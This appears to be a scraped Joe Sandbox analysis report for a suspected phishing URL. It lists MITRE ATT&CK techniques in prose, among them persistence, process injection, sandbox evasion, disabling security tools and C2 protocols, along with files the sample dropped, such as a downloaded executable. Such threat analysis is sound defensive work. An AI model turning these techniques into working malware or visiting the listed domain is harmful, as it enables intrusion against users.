Description:	Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.
Tactics:	Persistence
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Process: Process Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report https://account.order129837129821.one

Overview

General Information

Detection

Signatures

Classification

Process Tree

Yara Signatures

HTML

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

LLM Input / Output

Created / dropped Files

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Google Chrome.lnk

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\AN5UOLP8\captcha[1].htm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_bwsvl2i0.fs2.ps1

C:\Users\user\AppData\Local\Temp\downloaded.exe

C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Google Chrome.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Static File Info

Windows Analysis Report
https://account.order129837129821.one